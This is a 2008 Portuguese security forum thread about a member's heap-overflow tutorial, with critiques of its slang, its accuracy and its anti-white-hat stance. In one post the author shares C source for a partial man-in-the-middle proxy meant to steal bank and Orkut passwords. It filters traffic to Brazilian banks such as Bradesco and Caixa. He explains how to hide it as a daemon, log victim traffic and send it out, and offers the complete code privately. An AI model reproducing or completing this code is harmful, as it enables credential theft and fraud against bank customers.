
17/11/2008
|
 |
Usuário Registrado
|
|
Data de registro: Nov 2008
Posts: 7
|
|
|
Explorando falha de heap overflow sem misterio
Oi pessoal! Escrevi um txt legal e gostaria de compartilhar com voces. Andre! Diz oq achou manoH!!
http://www.hunterhacker.xpg.com.br/Heap_Overflow.txt
[s]
|

18/11/2008
|
 |
Eu só trabalho aqui
|
|
Data de registro: Oct 2001
Posts: 4.204
|
|
|
Re: Explorando falha de heap overflow sem misterio
Black Fox, eu comecei a ler o seu artigo até que vi esse aviso:
Citar:
|
'WHITE HATS and LAMES: CAIAM FORA CORJA MALDITA!
|
Sem querer ser muito off-topic, poderia elaborar um pouco melhor essa idéia?
[]s, MM
Ajude na moderação do ISTF!
Use nosso sistema de reputação

Saiba mais aqui.
|

18/11/2008
|
 |
Aluno faculdade ISTF
|
|
Data de registro: Sep 2004
Posts: 885
|
|
|
Re: Explorando falha de heap overflow sem misterio
Comecei a ler tambem, mas as girias de "manoh" me desanimaram.
|

18/11/2008
|
 |
Viciado em poker
|
|
Data de registro: Jun 2007
Local: Londres - Inglaterra
Posts: 517
|
|
|
Re: Explorando falha de heap overflow sem misterio
melhorou bastante desde o "Scanner destruction" rsrs .. o texto tah bem explicado na parte tecnica. Soh o lance das girias naum colou muito, a galera fica zuando, liga ?
Se servir de conselho, estuda ruby, pra entender melhor os internals do Metasploit. Tipo o melhor programador geralmente eh o cara mais preguisoso que existe, detesta escrever 20 linhas o que dah pra fazer 2. Lema do bom progamador: naum tente reinventar a roda. O Metasploit framework tah ai com muita ferramenta pronta, para que o pesquisador foque apenas no problema da vulnerabilidade em si. Se eu fizer uma analogia seria como se fosse o processador de texto pronto pra vc pensar somente no texto que ira escrever.
[s]
A.A.
Última edição por ALIG_wicked : 18/11/2008 às 14:57.
|

18/11/2008
|
 |
Viciado em poker
|
|
Data de registro: Jun 2007
Local: Londres - Inglaterra
Posts: 517
|
|
|
Re: Explorando falha de heap overflow sem misterio
Citar:
Originalmente enviado por mmachado
Black Fox, eu comecei a ler o seu artigo até que vi esse aviso:
Sem querer ser muito off-topic, poderia elaborar um pouco melhor essa idéia?
[]s, MM
|
Jah vi muito santo-do-pau-oco ou melhor, whitehat-do-pau-oco, se diz white, mais quando vc oferece algo do mundo black ele aceita de bom grado.
Para que fique claro. O texto tah bom tecnicamente, peca na parte de giria, de opinioes do proprio autor no meio. Pela idade dele e falta de experiencia o texto soh naum ficou melhor por causa disso. Se um dia o raposa for pra universidade e for fezer um trabalho cientifico de fato, vai aprender que tentamos ao maximo naum colocar comentarios de cunho pessoal, politica, etc. em um trabalho cientifico. No entanto ele escreve mais pro meio underground. Eu sabendo disso, abstrai esses comentario. Na parte tecnica, pra mim, foi uma grande surpresa a qualidade do texto, honestamente ainda naum tinha lido nada, em portugues, sobre o heap da maneira que ele explica. Foi muito didatico. Quando ele escreveu besteira eu falei, todo mundo erra. O que naum vou fazer, pois minha moral naum deixa, eh participar de um ambiente de santa-inquisicao.
Quanto ao metasploit, refirmo o que disse ( pode negativar novamente ) pois um heap no metasploit eh coisa as vezes, simplismente de um metodo de uma funcao, exemplo: o "TALLOC chunk method".
Sobre o que sempre fiz no forum, que eh: de comentar algo como se estivesse no meio de uma conversa, desculpe eh meu estilo literario de escrita. Mais sobre meu projeto vai ser deviademente retirado.
[s]
A.A.
|

18/11/2008
|
 |
Eu só trabalho aqui
|
|
Data de registro: Oct 2001
Posts: 4.204
|
|
|
Re: Explorando falha de heap overflow sem misterio
Andre, eu estou de acordo que o Metasploit facilita muito esse trabalho, mas você não acha que devíamos encorajar as pessoas a estudarem esses assuntos ao invés de se tornarem simples operadoras de ferramentas?
[]s, MM
Ajude na moderação do ISTF!
Use nosso sistema de reputação

Saiba mais aqui.
|

18/11/2008
|
|
Usuário Registrado
|
|
Data de registro: Nov 2008
Posts: 9
|
|
|
Re: Explorando falha de heap overflow sem misterio
Pra que a raiva de White Hats? E desde quando eles precisam "rastejar por informação"? Whitehat bom tem muito mais informação do que você pensa, filho. A maioria das vulnerabilidades vêm por eles (posso citar os últimos exploits a Flash, clickjacking, DDoS no protocolo TCP/IP, sequestro de DNS do Kaminsky, etc.).
Mas indo ao assunto do tópico...
O texto até está com bastante informação, explicando bastante coisa, mas um texto extenso assim é bem difícil de se ler, principalmente quando é cheio de gírias/erros ortográficos.
E outra coisa, fazer o exploit em C não uma boa. Hoje em dia se vê bem mais exploits feitos em Perl/Python/Ruby. Como disseram, o bom programador é o preguiçoso. Com um:
perl -e 'print "\x90"x100'
eu já tenho um nopsled pronto, sem precisar de compilação nem nada. C é uma ótima linguagem para se programar, entender ela é importantíssimo para saber explorar vulnerabilidades, mas ela é péssima para criar vetores de ataques.
|

18/11/2008
|
 |
Viciado em poker
|
|
Data de registro: Jun 2007
Local: Londres - Inglaterra
Posts: 517
|
|
|
Re: Explorando falha de heap overflow sem misterio
sinceramente MM, vc naum vai fazer nada no metasploit se naum souber o que estah acontecendo... apesar do doido do raposa, colocar que detesta whitehat... na minha opiniao, no conceito que tenho de whitehat, ele publicando todo o conhecimento que tinha, foi justamente um whitehat.
Ou eu to ficando doido (e neum bebi) ou sinceramente vou rasgar meu diploma de ingles do IELTS.
[s]
A.A.
|

18/11/2008
|
 |
Usuário Registrado
|
|
Data de registro: Nov 2008
Posts: 7
|
|
|
Re: Explorando falha de heap overflow sem misterio
Citar:
Originalmente enviado por ALIG_wicked
...no conceito que tenho de whitehat, ele publicando todo o conhecimento que tinha, foi justamente um whitehat.
|
^^ Ho, hi, hi, ui ui ui +) Andre, voce acha mesmo que eu falei tudo que eu sabia? ^^ Ocultei dois detalhes (Legais  . Um eu ja dei a dica XD
Citar:
Originalmente enviado por mmachado
Andre, eu estou de acordo que o Metasploit facilita muito esse trabalho, mas você não acha que devíamos encorajar as pessoas a estudarem esses assuntos ao invés de se tornarem simples operadoras de ferramentas?
|
Humm... Eu achei que a facilidade que o metasploit nos oferecia p/ um pentest (Exploracao remota de Heap overflow eheheh =) que era o diferencia dele (?). Essa ferramenta foi feita para o proposito de "atacar para proteger". Ssssacow? Enquanto temos pouco trabalho, pois temos acesso aos enderecos de retorno e estamos atacando localmente, um invasor teria serios problemas se estivesse "longe".
Bruno:
Enforque-se XD
Brincadeira!
[s]
|

19/11/2008
|
|
Usuário Registrado
|
|
Data de registro: Jul 2006
Local: São Paulo, SP
Posts: 11
|
|
|
Re: Explorando falha de heap overflow sem misterio
Desculpem por me intrometer.
Eu penso que existem 2 mundos:
1 - Os espertinhos que tiram 300 certificações falam um monte de abobrinha, falam do mundo ideal e dos produtos para vender, pois para eles segurança é colocar um IPS/Firewall da marca XYZ na frente, um honeypot e está tudo certo. Utilizam as ferramentas dos chamados "blackhats", que para eles são a corja. Geralmente esses são os que estão na "cena" hacker brasileira. Esses "hackers" não gostam de serem chamados assim no seu meio porque é pejorativo. São especialistas em segurança da informação. Se desenvolvem algo fica entre "amigos", porque o que interessa é só o dinheiro e não o reconhecimento, nem devolver as contribuições do outro mundo que o ajudaram a estar ali.
2 - O "underground" que desenvolve as ferramentas, pesquisa novas vulnerabilidades e liberam as ferramentas para o publico e para os "mocinhos" (whitehats), que usam as benditas ferramentas nos seus pentests. Não se importam com o preconceito de serem chamados de hackers/cracker/...cker. Fazem isso porque gostam e não só por dinheiro. Gostam do reconhecimento, mostram seus trabalhos, vide a Blackhat Conf., engraçado o nome não ser Whitehat Conf. Será que seriam um monte de tiradores de certificados com suas "box"? (existem conferencias assim, eu sei...)
Querem um bom exemplo, o próprio MetaSploit projeto under sem patrocinio, que com certeza uma boa parte dos "whitehats" já utilizaram.
Há um outro mundo que não deve ser considerado, o criminoso que utilizam as mesmas ferramentas para cometer atrocidades. (Armas e Caçar Vs. Armas e Matar)
Cor do chapéu não tem nada a ver com ética, eu posso ser um engravatadinho que faço me***. (não venham me falar de gray... )
black,white... Xhat e suas definições são feitas pela panela "espertinha"... para que haja esse preconceito mesmo, se não tenho capacidade de criar é mais facil denegrir meus "oponentes" que na verdade são aliados. E tudo isso não muda o meu modo de ver as coisas...
Pergunto quem nao verdade é o mocinho da estoria, os que usam as informações para inxer seu bolso ou os que compartilham e mostram que a verdade não é bem essa? Segurança é muito mais do isso.
PS: Pior ainda é ver esses aí, falando e publicando papers e fazendo exatamente o contrário dentro de casa. Quem está por dentro, sabe do que estou falando.
Quanto ao paper do fox, muito bom.
Esse é o caminho, só uma dica assim como já comentaram ficaria melhor tirar um pouco das girias, lógico que brincadeiras devem ser feitas no texto é bom para não deixar uma coisa muito chata, até porque por enquanto é um paper pessooal. E vc já iria se ambientando com os textos acadêmicos.
Não estrague seus textos falando dessa coisa infantil de white, pink.... eles não merecem!
Abraços!
|

19/11/2008
|
 |
Aluno faculdade ISTF
|
|
Data de registro: Sep 2004
Posts: 885
|
|
|
Re: Explorando falha de heap overflow sem misterio
Citar:
Originalmente enviado por Black Fox
Bruno:
Enforque-se XD
Brincadeira!
[s]
|
Ja to na forca :P Mas fox nao leve pro lado apenas critico. Como disse o Alig, nos que ja passamos pelo meio academico temos uma certa forma de escrever algo. Excesso de girias, alem dos diversos hehehehe huhuhuh cansam um pouco a leitura do material que e bom.
Entendi que voce fez um texto pro meio "undergorund" e tudo mas toda vez que via um manoh, hihihi, h4ck3r5 e etc desvia a atencao. Fora isso concordo de novo com o Alig no que diz que melhorou muito desde o "Scanner Hell".
Alem do mais criticas ajudam a melhorar.
|

19/11/2008
|
 |
Live free or die
|
|
Data de registro: May 2005
Local: Recife, PE.
Posts: 775
|
|
|
Re: Explorando falha de heap overflow sem misterio
Citar:
Originalmente enviado por Black Fox
|
- Escrevendo com este português tosco, com linguagem imatura, vai ser muito complicado adquirir algum crédito, por menor que seja, para pessoas sérias.
O texto é bom, o português é terrível, 10 vezes pior do que o meu... Eu re-escreveria o texto, já que você roda windows XP em suas máquinas como se observa nos exemplos e Path's, pelo andar do negócio eu apelaria para um corretor ortográfico qualquer... Sério mesmo! >:-\
" O princípio da sabedoria é a admissão da própria ignorância...
Todo o meu saber, consiste em saber, que eu nada sei..."
Sócrates
|

19/11/2008
|
|
Usuário Avançado
|
|
Data de registro: Jun 2006
Posts: 43
|
|
|
Re: Explorando falha de heap overflow sem misterio
Sem querer ser chato mas já sendo, como é que alguém escreve um texto sobre heap overflows e sequer explica detalhes sobre o algoritmo de implementação do heap no sistema operacional em questão, no caso Windows com RtlHeap? Estruturas do heap como cabeçalhos, ponteiros 'forward' e 'back', FreeList, entre outros, passaram longe de ser mencionadas.
Acredito que o autor foi bem intencionado e espero que encare o comentário como sugestão, mas o que quero dizer é que o texto está muito fraco, sem contar na desorganização para exposição de idéias, o "disclaimer" ('white hats e lamers não leiam'... humm me lembrou um certo grupo antigo brasileiro que escrevia assim e era criticado por isso) e o _PÉSSIMO_ português utilizado.
Última edição por juliocesarfort : 19/11/2008 às 17:37.
Motivo: Estética e cosmética textual :)
|

19/11/2008
|
 |
Usuário Registrado
|
|
Data de registro: Nov 2008
Posts: 7
|
|
|
Re: Explorando falha de heap overflow sem misterio
Citar:
Andre, eu estou de acordo que o Metasploit facilita muito esse trabalho, mas você não acha que devíamos encorajar as pessoas a estudarem esses assuntos ao invés de se tornarem simples operadoras de ferramentas?
[]s, MM
|
MM, espero que saiba que minha ultima resposta foi soh para te testar, mas voce nao respondeu. Uma pena, pois sempre acreditei que se nao ouver discordancia NUNCA VAI EXISTIR "EVOLUCAO". Agora vou falar meu real ponto de vista:
Sem duvida nenhuma voce esta coberto de razao quando diz que eh melhor encorajar as pessoas a estudar "esses assuntos" ao inves de induzir pessoas a se tornarem "operadores de ferramentas". MM, voce realmente sabe o que ta falando (Eh uma pena que seja um WH).
Ateh porque:
Citar:
sinceramente MM, vc naum vai fazer nada no metasploit se naum souber o que estah acontecendo...
|
Olha, vou falar uma coisa:
"Uma coisa".
\O/ Ei amigo egbertomonteiro, voce me comoveu. Olha rapaz, todos que eu conheco que pensam assim tao no meu grupo, humm... Olha eu tenho dezenas de carcaças de programas aqui, vou lhe dar uma dela de presente. Se trata de um esqueleto de programa que funciona como proxy e pega senhas de SSL, ele vai agir atraves de man-in-the-middle. O esquema eh bem bobo, num vo postar o codigo todo porque nao quero dar bombinha pra terrorista se explodir =) Voce sabe oq esta fazendo (Pelo que escreveu). A nocao eh simples, faca um proxy local (Faca ele rodar em daemonizado e alterar o registro), ele vai ser o intermediador de toda a conexao entre a vitima e o host externo. Tudo que passa, vai ser salvo no disco, e enviado a algum host. Enfim, pegue o fio da maeda ae e me add no msn:
Configuracao de proxy (Mecha no codigo do programa)
ps: Rode o programa (Esse ae nao ta daemonizado):
Faca uma filtragem do host acessado pela vitima e resolva ele, depois de conectado no host, o proxy pegara as respostas e repasará para o browser (Obvio que ele logará as coisas antes  .
Isso ae acontece quando alguem entra no site que voce define no codigo. O proxy vai ter que rodar daemonizado, voce devera fazer um filtragem para que ele apenas pegue o que for enteressante (Orkut, Banco, Banco XD). Olha, nao vou te dar o codigo completo pq voce nao eh burro. Sobre meu ponto de vista com relacao ao under, veja isso:
Link: Login
Quem sabe eu nao te passo o code completo? Ele envia soh os campos eheh, ta bem bonitinho huhuh.
Prontu! Qualquer duvida -> MSN.
Código:
/* A MessageBox() pausa a app ateh que o user tecle Enter or gluglu */
/*
*
* isso eh uma carcaça desorganizada...
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
WSADATA data;
struct sockaddr_in server, meu_sonho;
typedef unsigned int I_will_never_;
typedef unsigned char be_untrue;
I_will_never_ SoCk, SoCk2, SoCk3, byte_s=1, x=0;
be_untrue *em_meu, *destino;
main (){
char received[0x666], vitima[sizeof (received)];
WSAStartup (MAKEWORD (1,1),&data);
server.sin_family=PF_INET;
server.sin_port=htons (8080);
server.sin_addr.s_addr=htonl (INADDR_ANY);
memset (&server.sin_zero, 0x00, 0x08);
SoCk=socket (AF_INET, SOCK_STREAM, 0x00);
bind (SoCk, (struct sockaddr *)&server, 16);
listen (SoCk, 5);
puts ("Listening...");
SoCk2 = accept (SoCk, 0, 0);
puts ("[Victim connected]\n");
char *wating_;
memset (&received, 0x00, 0x666);
while (byte_s > 0){
byte_s=recv (SoCk2, received, sizeof (received)-1, 0x00);
if ( (wating_=(char *)strstr (received, "\r\n\r\n") + strlen ("\r\n\r\n")) != NULL) break;
}
puts (received);
em_meu=strstr (received, "Host: ");
memset (&vitima, 0x00, sizeof (vitima));
puts (em_meu);
while (vitima[x] != '\n'){ vitima[x]=em_meu[x]; ++x;}
destino=strtok (strstr (vitima, "Host:") +strlen ("Host: "), "\r\n");
char *filter[]={
"caixa", "bradesco", "bb.com.br"}; // etc (After)...
for (x=0;x<=2;++x)
if (strstr (destino, filter[x]) != 0x00){
MessageBox (0x00, "Algo que lhe interessa foi acessado ;)", "OK", 0x00);
printf ("Ta ae: -> '%s'\nAgora vamo temporizar e mandar\
pro mail tudo q se passar aqui ;)\n\n", destino); }
meu_sonho.sin_family=AF_INET;
meu_sonho.sin_port=htons (22);
meu_sonho.sin_addr.s_addr = inet_addr (destino);
memset (&meu_sonho, 0x00, 0x08);
// 0x00
if ( (SoCk3 = socket (AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR){
fprintf (stdout, "Erro ao criar socket\n");
exit (-1);}
if ( (connect (SoCk3, (struct sockaddr *)&meu_sonho, 16)) == -1){
printf ("Porta fechada\n");
closesocket (SoCk); closesocket (SoCk2); closesocket (SoCk3);
system ("pause"); exit (-1);}
printf ("%s [%d]\n", destino, strlen (destino));
puts ("Conectado no banco, *****!");
printf ("[(%d) bytes recebidos]\n", strlen (received));
send (SoCk3, received, strlen (received), 0x00);
system ("pause & cls"); // close the conection (without the while)
}
ps: Gostaria muito de ter o prazer de conversar com você, seria uma honra para mim ter voce lutando ao meu lado. Por favor me adicione parceirao.
[]'s
|

19/11/2008
|
 |
Live free or die
|
|
Data de registro: May 2005
Local: Recife, PE.
Posts: 775
|
|
|
Re: Explorando falha de heap overflow sem misterio
Citar:
|
(...)Sem querer ser chato mas já sendo, como é que alguém escreve um texto sobre heap overflows e sequer explica detalhes sobre o algoritmo de implementação do heap no sistema operacional em questão, no caso Windows com RtlHeap? Estruturas do heap como cabeçalhos, ponteiros 'forward' e 'back', FreeList, entre outros, passaram longe de ser mencionadas.(...)
|
- Como eu não sou chato, mas, sou um Porre, ele muito provavelmente mal folheou o Sysinternals do Windows e tudo o que lhe antecede... (Não tem referência a Kernel's Sub Version's...) Buffer Overrun não é novo, então para que reinventar a roda??? Legal para quem está no ramo de uns 03 anos para cá... Mas, como ele mesmo diz "Para os tios" eu mesmo na porta dos 30 já vi material sobre isto, desde o tempo do Bug do milênio, outra coisa importante, a 08 anos atrás, um profissional de T.I. precisava actualizar os seus conhecimentos obrigatoriamente em uma proporção de progressão de aproximadamente 02 em 02 anos... Em 2006 a cada 04 em 04 meses, que dirá actualmente?
- É preciso solução para as antigas soluções, é preciso aprimorar mais e mais, e actualmente sempre daqui pra adiante a cobrança para quem se expõe sobre assuntos quotidianos demais vai ser "viver no mármore do inferno por muito mais do que longos 12 meses".
" O princípio da sabedoria é a admissão da própria ignorância...
Todo o meu saber, consiste em saber, que eu nada sei..."
Sócrates
|
|
|